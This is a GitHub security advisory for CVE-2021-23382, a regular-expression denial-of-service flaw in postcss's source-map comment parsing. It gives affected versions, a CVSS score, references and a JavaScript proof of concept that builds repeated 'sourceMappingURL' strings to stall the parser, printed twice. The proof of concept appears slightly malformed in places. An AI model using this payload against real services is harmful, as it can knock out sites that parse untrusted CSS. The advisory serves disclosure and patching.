GHSA-566M-QJ78-RWW5

Vulnerability from github – Published: 2022-01-07 00:21 – Updated: 2023-09-08 19:35
VLAI
Summary
Regular Expression Denial of Service in postcss
Details

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern 

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "postcss"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "postcss"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T21:23:19Z",
    "nvd_published_at": "2021-04-26T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse(\u0027a{}/*# sourceMappingURL=a.css.map */\u0027) for (var i = 1; i \u003c= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```",
  "id": "GHSA-566m-qj78-rww5",
  "modified": "2023-09-08T19:35:12Z",
  "published": "2022-01-07T00:21:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23382"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/releases/tag/7.0.36"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in postcss"
}



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